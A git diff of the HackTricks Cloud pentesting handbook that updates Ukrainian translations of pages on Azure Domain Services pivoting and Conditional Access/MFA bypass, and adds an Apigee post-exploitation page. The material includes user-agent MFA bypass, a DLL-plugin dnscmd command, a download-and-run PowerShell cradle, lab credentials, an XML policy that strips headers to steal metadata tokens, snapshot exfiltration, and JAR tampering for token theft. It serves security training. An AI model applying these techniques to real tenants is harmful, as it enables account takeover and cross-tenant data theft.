diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index fa8998889..eb811be68 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,11 +1,11 @@ -Ви можете видалити цей контент перед відправкою PR: +Ви можете видалити цей вміст перед відправкою PR: -## Attribution -Ми цінуємо ваші знання і заохочуємо вас ділитися контентом. Будь ласка, переконайтеся, що ви завантажуєте лише той контент, яким володієте, або на який маєте дозвіл від оригінального автора (додавши посилання на автора в доданому тексті або в кінці сторінки, яку ви змінюєте, або в обох випадках). Ваша повага до прав інтелектуальної власності сприяє надійному та законному середовищу для обміну інформацією для всіх. +## Визнання авторства +Ми цінуємо ваші знання і заохочуємо вас ділитися контентом. Будь ласка, переконайтеся, що ви завантажуєте лише контент, яким володієте або на який маєте дозвіл від оригінального автора (додавши посилання на автора у доданому тексті або в кінці сторінки, яку ви змінюєте, або й те, й інше). Повага до прав інтелектуальної власності сприяє довірчому та законному середовищу обміну для всіх. ## HackTricks Training -Якщо ви додаєте, щоб пройти іспит на [ARTE certification](https://training.hacktricks.xyz/courses/arte) з 2 прапорами замість 3, вам потрібно назвати PR `arte-`. +Якщо ви надсилаєте PR, щоб скласти іспит [ARTE certification](https://hacktricks-training.com/courses/arte) з 2 прапорцями замість 3, вам потрібно назвати PR `arte-`, `grte-` або `azrte-`, залежно від сертифікації, яку ви проходите. -Також пам'ятайте, що виправлення граматики/синтаксису не будуть прийняті для зменшення кількості прапорів на іспиті. +Також пам'ятайте, що виправлення граматики/синтаксису не будуть прийняті для зменшення кількості прапорців на іспиті. -У будь-якому випадку, дякуємо за внесок у HackTricks! +У будь-якому разі, дякуємо за внесок у HackTricks! diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index 133182091..9c4eafed4 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,14 +1,14 @@ > [!TIP] -> Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) -> Вивчайте та практикуйте Azure Hacking: [**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte) +> Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)\ +> Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)\ +> Вивчайте та практикуйте Az Hacking: [**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte) > >
> -> Підтримка HackTricks +> Підтримайте HackTricks > -> - Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! -> - **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub. +> - Перегляньте the [**subscription plans**](https://github.com/sponsors/carlospolop)! +> - **Приєднуйтесь до** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) або до [**telegram group**](https://t.me/peass) або **стежте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +> - **Діліться hacking tricks, надсилаючи PRs до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. > >
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md index 1e8aabba2..b265b8689 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md @@ -2,42 +2,42 @@ {{#include ../../../banners/hacktricks-training.md}} -## Domain Services +## Служби домену -Microsoft Entra Domain Services дозволяє розгорнути Active Directory в Azure без необхідності керувати контролерами домену (насправді у вас навіть немає доступу до них). +Microsoft Entra Domain Services дозволяє розгорнути Active Directory в Azure без необхідності керувати Domain Controllers (насправді у вас навіть немає до них доступу). -Основна мета полягає в тому, щоб дозволити вам запускати застарілі програми в хмарі, які не можуть використовувати сучасні методи аутентифікації, або коли ви не хочете, щоб запити до каталогу завжди поверталися до локального середовища AD DS. +Його головна мета — дозволити запускати застарілі додатки в хмарі, які не можуть використовувати сучасні методи автентифікації, або в тих випадках, коли ви не хочете, щоб запити до каталогу постійно зверталися назад до on-premises AD DS середовища. -Зверніть увагу, що для синхронізації користувачів, створених в Entra ID (і не синхронізованих з інших активних каталогів), до служби домену AD вам потрібно **змінити пароль користувача** на новий, щоб його можна було синхронізувати з новим AD. Насправді, користувач не синхронізується з Microsoft Entra ID до Служб домену, поки пароль не буде змінено. +Note that in order to synchronize the users generated in Entra ID (and not synchronized from other active directories) to the AD domain service you need to **змінити пароль користувача** на новий, щоб він міг бути синхронізований з новим AD. Насправді користувач не синхронізується з Microsoft Entra ID до Domain Services, поки пароль не буде змінено. > [!WARNING] -> Навіть якщо ви створюєте новий домен активного каталогу, ви не зможете повністю ним керувати (якщо не експлуатувати деякі неправильні налаштування), що означає, що за замовчуванням, наприклад, ви не можете створювати користувачів безпосередньо в AD. Ви створюєте їх, **синхронізуючи користувачів з Entra ID.** Ви можете вказати синхронізувати всіх користувачів (навіть тих, хто синхронізований з інших локальних AD), лише хмарних користувачів (користувачів, створених в Entra ID) або навіть **додатково їх фільтрувати**. +> Навіть якщо ви створюєте новий Active Directory domain, ви не зможете повністю ним керувати (якщо тільки не експлуатувати певні помилки конфігурації), що означає, що за замовчуванням, наприклад, ви не можете створювати користувачів безпосередньо в AD. Ви створюєте їх шляхом **синхронізації користувачів з Entra ID.** Ви можете вказати синхронізацію всіх користувачів (включно з тими, що синхронізовані з інших on-premise AD), лише cloud users (користувачі, створені в Entra ID), або навіть **додатково їх фільтрувати**. > [!NOTE] -> Загалом, через відсутність гнучкості в налаштуванні нового домену та той факт, що AD зазвичай вже знаходяться на локальному рівні, це не основна інтеграція між Entra ID та AD, але все ж цікаво знати, як її скомпрометувати. +> Загалом, через обмежену гнучкість у конфігурації нового домену та те, що ADs зазвичай вже розгорнуті on-premise, це не є основною інтеграцією між Entra ID та AD, але все ж цікаво знати, як його компрометувати. ### Pivoting -Члени згенерованої **`AAD DC Administrators`** групи отримують локальні адміністративні права на ВМ, які приєднані до керованого домену (але не в контролерах домену), оскільки вони додаються до групи локальних адміністраторів. Члени цієї групи також можуть використовувати **Remote Desktop для віддаленого підключення до ВМ, приєднаних до домену**, і також є членами груп: +Членам створеної групи **`AAD DC Administrators`** надаються локальні права адміністратора на VMs, які приєднані до керованого домену (але не на контролерах домену), оскільки вони додаються до локальної групи адміністраторів. Члени цієї групи також можуть використовувати **Remote Desktop для віддаленого підключення до domain-joined VMs**, а також є членами таких груп: -- **`Denied RODC Password Replication Group`**: Це група, яка визначає користувачів і групи, паролі яких не можуть бути кешовані на RODC (контролерах домену тільки для читання). -- **`Group Policy Creators Owners`**: Ця група дозволяє членам створювати групові політики в домені. Однак її члени не можуть застосовувати групові політики до користувачів або груп або редагувати існуючі GPO, тому це не так цікаво в цьому середовищі. -- **`DnsAdmins`**: Ця група дозволяє керувати налаштуваннями DNS і в минулому була зловживана для [ескалації привілеїв і компрометації домену](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), однак після тестування атаки в цьому середовищі було перевірено, що вразливість виправлена: +- **`Denied RODC Password Replication Group`**: це група, яка визначає користувачів та групи, чиї паролі не можуть кешуватися на RODCs (Read-Only Domain Controllers). +- **`Group Policy Creators Owners`**: Ця група дозволяє її членам створювати Group Policies у домені. Однак її члени не можуть застосовувати групові політики до користувачів або груп, або редагувати наявні GPOs, тому це не є надто цікавим у цьому середовищі. +- **`DnsAdmins`**: Ця група дозволяє керувати налаштуваннями DNS і в минулому використовувалася для [підвищення привілеїв та компрометації домену](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), проте після тестування цієї атаки в цьому середовищі було перевірено, що вразливість виправлена: ```text -dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll +dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll DNS Server failed to reset registry property. Status = 5 (0x00000005) Command failed: ERROR_ACCESS_DENIED 5 0x5 ``` -Зверніть увагу, що для надання цих дозволів у AD група **`AAD DC Administrators`** стає членом попередніх груп, а також GPO **`AADDC Computers GPO`** додає до локальних адміністраторів усіх членів доменної групи **`AAD DC Administrators`**. +Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**. -Перехід з Entra ID до AD, створеного за допомогою Domain Services, є простим: просто додайте користувача до групи **`AAD DC Administrators`**, отримайте доступ через RDP до будь-яких/усіх машин у домені, і ви зможете вкрасти дані та також **компрометувати домен.** +Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.** -Однак перехід з домену до Entra ID не є таким простим, оскільки нічого з домену не синхронізується в Entra ID. Проте завжди перевіряйте метадані всіх ВМ, приєднаних до їх призначених керованих ідентичностей, оскільки вони можуть мати цікаві дозволи. Також **вивантажте всі паролі користувачів з домену** і спробуйте їх зламати, щоб потім увійти в Entra ID / Azure. +However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always check the metadata to all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure. > [!NOTE] -> Зверніть увагу, що в минулому були виявлені інші вразливості в цьому керованому AD, які дозволяли компрометувати DC, [як ця](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Зловмисник, який компрометує DC, може дуже легко підтримувати стійкість, не помічаючи Azure адміністраторів або навіть не маючи можливості видалити це. +> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it. ### Enumeration ```bash @@ -59,7 +59,7 @@ az rest --method post \ # Get domain configuration az rest --url "https://management.azure.com/subscriptions//resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/?api-version=2022-12-01&healthdata=true" ## e.g. -az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true" +az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true" # Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index aef9a6c5b..33d48a997 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1,16 +1,16 @@ -# Az - Політики умовного доступу та обхід MFA +# Az - Conditional Access Policies & MFA Bypass {{#include ../../../../banners/hacktricks-training.md}} ## Основна інформація -Політики умовного доступу Azure - це правила, встановлені в Microsoft Azure для забезпечення контролю доступу до служб та додатків Azure на основі певних **умов**. Ці політики допомагають організаціям захистити свої ресурси, застосовуючи правильні контролі доступу за правильних обставин.\ -Політики умовного доступу в основному **визначають** **Хто** може отримати доступ до **Чого** з **Де** і **Як**. +Azure Conditional Access policies — це правила, що налаштовуються в Microsoft Azure для забезпечення контролю доступу до служб та додатків Azure на основі певних **умов**. Ці політики допомагають організаціям захищати свої ресурси, застосовуючи відповідні контролі доступу в потрібних обставинах.\ +Conditional access policies фактично **визначають** **Хто** може отримати доступ до **Чого** **Звідки** та **Як**. Ось кілька прикладів: -1. **Політика ризику входу**: Цю політику можна налаштувати так, щоб вимагати багатофакторну аутентифікацію (MFA), коли виявляється ризик входу. Наприклад, якщо поведінка входу користувача є незвичною в порівнянні з їх звичайним шаблоном, наприклад, вхід з іншої країни, система може запитати додаткову аутентифікацію. -2. **Політика відповідності пристроїв**: Ця політика може обмежити доступ до служб Azure лише для пристроїв, які відповідають стандартам безпеки організації. Наприклад, доступ може бути дозволений лише з пристроїв, які мають актуальне антивірусне програмне забезпечення або працюють на певній версії операційної системи. +1. **Sign-In Risk Policy**: Ця політика може вимагати багатофакторну автентифікацію (MFA) при виявленні ризику входу. Наприклад, якщо поведінка входу користувача відрізняється від звичайної — наприклад вхід з іншої країни — система може запросити додаткову автентифікацію. +2. **Device Compliance Policy**: Ця політика може обмежувати доступ до служб Azure лише для пристроїв, які відповідають стандартам безпеки організації. Наприклад, доступ може бути дозволений лише з пристроїв, на яких встановлено актуальне антивірусне ПЗ або які працюють на певній версії операційної системи. ## Перерахування ```bash @@ -20,79 +20,79 @@ az rest --method GET --uri 'https://graph.windows.net//policies?api-v # You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies" ``` -## Обходи політик умовного доступу +## Обходи Conditional Access Policies -Можливо, що політика умовного доступу **перевіряє деяку інформацію, яку можна легко підробити, що дозволяє обійти політику**. І якщо, наприклад, політика налаштовує MFA, зловмисник зможе її обійти. +Може статися, що conditional access policy перевіряє деяку інформацію, яку легко підробити, що дозволяє обійти політику. І якщо, наприклад, policy конфігурувала MFA, атакуючий зможе його обійти. -При налаштуванні політики умовного доступу потрібно вказати **користувачів**, яких це стосується, та **цільові ресурси** (наприклад, всі хмарні додатки). +Під час налаштування conditional access policy потрібно вказати **користувачів**, яких це стосується, та **цільові ресурси** (наприклад, all cloud apps). -Також потрібно налаштувати **умови**, які **активують** політику: +Також потрібно налаштувати **умови**, які **спрацьовуватимуть** для політики: -- **Мережа**: IP, діапазони IP та географічні локації -- Можна обійти, використовуючи VPN або проксі для підключення до країни або зумівши увійти з дозволеної IP-адреси -- **Ризики Microsoft**: Ризик користувача, ризик входу, ризик зсередини -- **Платформи пристроїв**: Будь-який пристрій або вибрати Android, iOS, Windows phone, Windows, macOS, Linux -- Якщо не вибрано “Будь-який пристрій”, але всі інші опції вибрані, можна обійти це, використовуючи випадковий user-agent, не пов'язаний з цими платформами -- **Клієнтські додатки**: Опції “Браузер”, “Мобільні додатки та настільні клієнти”, “Клієнти Exchange ActiveSync” та “Інші клієнти” -- Щоб обійти вхід з не вибраною опцією -- **Фільтр для пристроїв**: Можна створити правило, пов'язане з використаним пристроєм -- **Потоки аутентифікації**: Опції “Потік коду пристрою” та “Передача аутентифікації” -- Це не вплине на зловмисника, якщо він не намагається зловживати будь-якими з цих протоколів у фішинговій спробі отримати доступ до облікового запису жертви +- **Network**: IP, IP-діапазони та географічні локації + - Може бути обійдено за допомогою VPN або Proxy для підключення з дозволеної країни або увійти з дозволеної IP-адреси +- **Microsoft risks**: User risk, Sign-in risk, Insider risk +- **Device platforms**: Any device або вибірково Android, iOS, Windows phone, Windows, macOS, Linux + - Якщо “Any device” не обрано, але вибрані всі інші опції, це можна обійти, використавши випадковий user-agent, не пов’язаний з цими платформами +- **Client apps**: Опції — “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” та “Other clients” + - Щоб обійти — увійти з опцією, яка не була обрана +- **Filter for devices**: Можна згенерувати правило, пов’язане з використовуваним пристроєм +- A**uthentication flows**: Опції — “Device code flow” та “Authentication transfer” + - Це не вплине на атакуючого, якщо він не намагається зловживати одним із цих протоколів у фішинговій спробі отримати доступ до акаунта жертви -Можливі **результати**: Блокування або надання доступу з потенційними умовами, такими як вимога MFA, відповідність пристрою… +Можливі **результати**: Block або Grant доступ з потенційними умовами, наприклад require MFA, пристрій має бути compliant… -### Платформи пристроїв - Умова пристрою +### Device Platforms - Device Condition -Можливо встановити умову на основі **платформи пристрою** (Android, iOS, Windows, macOS...), однак це базується на **user-agent**, тому його легко обійти. Навіть **зробивши всі опції обов'язковими для MFA**, якщо ви використовуєте **user-agent, який не розпізнається,** ви зможете обійти MFA або блокування: +Можна встановити умову на основі **device platform** (Android, iOS, Windows, macOS...), проте вона базується на **user-agent**, тож її легко обійти. Навіть якщо **всі опції вимагають MFA**, якщо ви використаєте **user-agent, який не розпізнається,** ви зможете обійти MFA або блок:
-Просто змусивши браузер **надіслати невідомий user-agent** (наприклад, `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) достатньо, щоб не активувати цю умову.\ -Ви можете змінити user-agent **вручну** в інструментах розробника: +Достатньо, щоб браузер **відправляв невідомий user-agent** (наприклад `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`), щоб ця умова не спрацювала.\ +Ви можете змінити user agent **вручну** у developer tools:
-Або використати [розширення браузера, як це](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). +Або використати [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). -### Локації: Країни, діапазони IP - Умова пристрою +### Locations: Countries, IP ranges - Device Condition -Якщо це налаштовано в умовній політиці, зловмисник може просто використовувати **VPN** в **дозволеній країні** або спробувати знайти спосіб отримати доступ з **дозволеної IP-адреси**, щоб обійти ці умови. +Якщо це встановлено в conditional policy, атакуючий може просто використати **VPN** у **дозволеній країні** або спробувати знайти спосіб доступу з **дозволеної IP-адреси**, щоб обійти ці умови. -### Хмарні додатки +### Cloud Apps -Можливо налаштувати **політики умовного доступу для блокування або примусу** наприклад MFA, коли користувач намагається отримати доступ до **конкретного додатку**: +Можна налаштувати **conditional access policies, щоб блокувати або примушувати**, наприклад, MFA коли користувач намагається отримати доступ до **конкретного додатка**:
-Щоб спробувати обійти цю захист, вам слід перевірити, чи можете ви **увійти лише в будь-який додаток**.\ -Інструмент [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) має **десятки ідентифікаторів додатків, закодованих у програмі**, і спробує увійти в них, повідомить вас і навіть надасть токен, якщо вдасться. +Щоб спробувати обійти цей захист, перевірте, чи можете ви увійти хоча б у будь-який додаток.\ +Інструмент [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) має **десятки application IDs захардкоджених** і спробує залогінитись у них, повідомить про успіх і навіть надасть token у разі успішного входу. -Щоб **перевірити конкретні ідентифікатори додатків у конкретних ресурсах**, ви також можете використовувати інструмент, такий як: +Для перевірки **конкретних application IDs у конкретних ресурсах** ви також можете використати інструмент, такий як: ```bash roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout ``` -Більше того, також можливо захистити метод входу (наприклад, якщо ви намагаєтеся увійти з браузера або з настільного додатку). Інструмент [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) виконує деякі перевірки, щоб спробувати обійти ці захисти. +Крім того, також можливо захистити метод входу (наприклад, якщо ви намагаєтесь увійти з браузера або з desktop application). Інструмент [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) виконує деякі перевірки, щоб також спробувати обійти ці захисти. -Інструмент [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) також може бути використаний для подібних цілей, хоча виглядає так, ніби він не підтримується. +Інструмент [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) також може використовуватися для подібних цілей, хоча, здається, він не підтримується. -Інструмент [**ROPCI**](https://github.com/wunderwuzzi23/ropci) також може бути використаний для тестування цих захистів і перевірки, чи можливо обійти MFA або блокування, але цей інструмент працює з точки зору **whitebox**. Спочатку потрібно завантажити список додатків, дозволених у орендаря, а потім він спробує увійти в них. +Інструмент [**ROPCI**](https://github.com/wunderwuzzi23/ropci) також можна використовувати для тестування цих захистів і перевірки, чи можливо обійти MFA або блокування, але цей інструмент працює з **whitebox** перспективи. Спочатку потрібно завантажити список Apps, дозволених у tenant, а потім він спробує увійти в них. -## Інші обходи Az MFA +## Інші Az MFA обхідні шляхи ### Дзвінок -Одна з опцій Azure MFA - це **отримати дзвінок на налаштований номер телефону**, де буде запитано користувача **надіслати символ `#`**. +Один з варіантів Azure MFA — це **отримати дзвінок на налаштований номер телефону**, під час якого у користувача попросять **надіслати символ `#`**. > [!CAUTION] -> Оскільки символи - це просто **тони**, зловмисник може **компрометувати** **голосове повідомлення** на номері телефону, налаштувати як повідомлення **тон `#`** і потім, коли запитують MFA, переконатися, що **телефон жертви зайнятий** (дзвонячи на нього), щоб дзвінок Azure перенаправлявся на голосову пошту. +> Оскільки символи — це лише **тони**, зловмисник може **скомпрометувати** повідомлення **голосової пошти** номера, налаштувати як повідомлення **тон `#`**, а потім при запиті MFA переконатися, що **телефон жертви зайнятий** (йому телефонують), щоб виклик Azure був переадресований на голосову пошту. ### Сумісні пристрої -Політики часто вимагають сумісний пристрій або MFA, тому **зловмисник може зареєструвати сумісний пристрій**, отримати **токен PRT** і **обійти таким чином MFA**. +Політики часто вимагають compliant device або MFA, тож **зловмисник може зареєструвати compliant device**, отримати **PRT** і таким чином **обійти MFA**. -Почніть з реєстрації **сумісного пристрою в Intune**, потім **отримайте PRT** за допомогою: +Почніть з реєстрації **compliant device в Intune**, потім **отримайте PRT** за допомогою: ```bash $prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\.pfx -Credentials $credentials @@ -102,7 +102,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` -Знайдіть більше інформації про цей вид атаки на наступній сторінці: +Знайдіть більше інформації про цей тип атаки на наступній сторінці: {{#ref}} ../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -112,29 +112,29 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) -Цей скрипт отримує деякі облікові дані користувача і перевіряє, чи може він увійти в деякі додатки. +Скрипт отримує деякі облікові дані користувачів і перевіряє, чи може він увійти в деякі додатки. -Це корисно, щоб побачити, чи **не потрібно MFA для входу в деякі додатки**, які ви можете пізніше зловживати для **ескалації привілеїв**. +Це корисно для перевірки, чи **для входу в деякі додатки не потрібна MFA**, що може дозволити вам пізніше зловживати цим, щоб **підвищити привілеї**. ### [roadrecon](https://github.com/dirkjanm/ROADtools) -Отримати всі політики +Отримує всі політики ```bash roadrecon plugin policies ``` ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) -MFASweep - це скрипт PowerShell, який намагається **увійти до різних сервісів Microsoft, використовуючи наданий набір облікових даних, і спробує визначити, чи увімкнено MFA**. Залежно від того, як налаштовані політики умовного доступу та інші налаштування багатофакторної аутентифікації, деякі протоколи можуть залишитися з однофакторною аутентифікацією. Він також має додаткову перевірку для конфігурацій ADFS і може спробувати увійти до локального сервера ADFS, якщо його виявлено. +MFASweep — це PowerShell-скрипт, який намагається **увійти в різні служби Microsoft, використовуючи надані облікові дані, і визначити, чи увімкнено MFA**. Залежно від того, як налаштовані conditional access policies та інші параметри багатофакторної автентифікації, деякі протоколи можуть залишитися однофакторними. Також він має додаткову перевірку конфігурацій ADFS і може спробувати увійти на on-prem ADFS-сервер, якщо його виявлено. ```bash Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password ``` ### [ROPCI](https://github.com/wunderwuzzi23/ropci) -Цей інструмент допоміг виявити обходи MFA, а потім зловживати API в кількох продуктивних AAD тенантах, де клієнти AAD вважали, що у них є MFA, але аутентифікація на основі ROPC пройшла успішно. +Цей інструмент допоміг виявити обходи MFA та зловживати APIs у кількох продукційних AAD tenants, де клієнти AAD вважали, що MFA примусово застосовано, але автентифікація на основі ROPC спрацювала. > [!TIP] -> Вам потрібно мати дозволи для перегляду всіх додатків, щоб мати можливість згенерувати список додатків для брутфорсу. +> Потрібно мати дозволи на перелік усіх додатків, щоб згенерувати список додатків для brute-force. ```bash ./ropci configure ./ropci apps list --all --format json -o apps.json @@ -143,25 +143,25 @@ Invoke-MFASweep -Username -Password ``` ### [donkeytoken](https://github.com/silverhack/donkeytoken) -Donkey token - це набір функцій, які допомагають консультантам з безпеки, які потребують перевірки Політик умовного доступу, тестів для порталу Microsoft з увімкненим 2FA тощо. +Donkey token — набір функцій, що мають на меті допомогти консультантам із безпеки, які потребують валідації Conditional Access Policies, тестів для 2FA-enabled Microsoft portals тощо..
git clone https://github.com/silverhack/donkeytoken.git
 Import-Module '.\donkeytoken' -Force
 
-**Перевірте кожен портал**, чи можливо **увійти без MFA**: +**Перевірте кожен портал**, чи можна **увійти без MFA**: ```bash -$username = "conditional-access-app-user@azure.training.hacktricks.xyz" +$username = "conditional-access-app-user@azure.hacktricks-training.com" $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue ``` -Оскільки **Azure** **портал** **не обмежений**, можливо **зібрати токен з кінцевої точки порталу для доступу до будь-якої служби, виявленої** під час попереднього виконання. У цьому випадку було виявлено Sharepoint, і запитується токен для доступу до нього: +Оскільки **Azure** **portal** **не обмежений**, можливо **зібрати token з portal endpoint для доступу до будь-якого виявленого сервісу** попереднім виконанням. У цьому випадку було виявлено **Sharepoint**, і запитується token для доступу до нього: ```bash $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune Read-JWTtoken -token $token.access_token ``` -Припустимо, що токен має дозвіл Sites.Read.All (з Sharepoint), навіть якщо ви не можете отримати доступ до Sharepoint з вебу через MFA, можливо використовувати токен для доступу до файлів згенерованим токеном: +Припустимо, token має дозвіл Sites.Read.All (from Sharepoint). Навіть якщо ви не можете отримати доступ до Sharepoint через веб через MFA, можна використати token для доступу до файлів, використовуючи згенерований token: ```bash $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl ``` diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-apigee-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-apigee-post-exploitation.md new file mode 100644 index 000000000..b81b05d50 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-apigee-post-exploitation.md @@ -0,0 +1,68 @@ +# GCP - Apigee Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Apigee metadata SSRF -> Dataflow cross-tenant pivot + +Один проект тенанта Apigee можна використати, щоб дістатися до сервера метаданих Message Processor, викрасти його service account і перемкнутися на спільний аналітичний pipeline Dataflow, який читає/записує cross-tenant buckets. + +### Expose the metadata server through Apigee + +- Встановіть ціль проксі Apigee на `http://169.254.169.254` і робіть запити токенів до `/computeMetadata/v1/instance/service-accounts/default/token` з заголовком `Metadata-Flavor: Google`. +- GCP metadata відкидає запити, що містять `X-Forwarded-For`; Apigee додає цей заголовок за замовчуванням. Видаліть його за допомогою `AssignMessage` перед проксируванням: +```xml + + + +
+ + +true + +``` +### Перелічіть вкрадений сервісний акаунт Apigee + +- The leaked SA (Google-managed under `gcp-sa-apigee`) можна перерахувати за допомогою інструментів, таких як [gcpwn](https://github.com/NetSPI/gcpwn), щоб швидко перевірити дозволи. +- Спостерігалися потужні дозволи, включаючи **Compute disk/snapshot admin**, **GCS read/write across tenant buckets**, та **Pub/Sub topic publish**. Базове виявлення: +```bash +gcloud compute disks list --project +``` +### Snapshot екфільтрація для непрозорих керованих сервісів + +Маючи права на disk/snapshot, ви можете офлайн дослідити керовані рантайми навіть якщо не можете увійти в tenant project: + +1. Створіть snapshot цільового диска в tenant project. +2. Скопіюйте/мігруйте snapshot у свій проект. +3. Відтворіть диск із snapshot і приєднайте його до свого VM. +4. Змонтуйте і перегляньте логи/конфіги, щоб відновити внутрішні назви bucket, service accounts та опції pipeline. + +### Dataflow dependency replacement via writable staging bucket + +- Analytics workers під час старту тягнули JAR з GCS staging bucket. Оскільки Apigee SA мав права на запис у bucket, завантажте й підправте JAR (наприклад, за допомогою Recaf), щоб викликати `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token` і вкрасти **Dataflow worker** token. +- Dataflow workers не 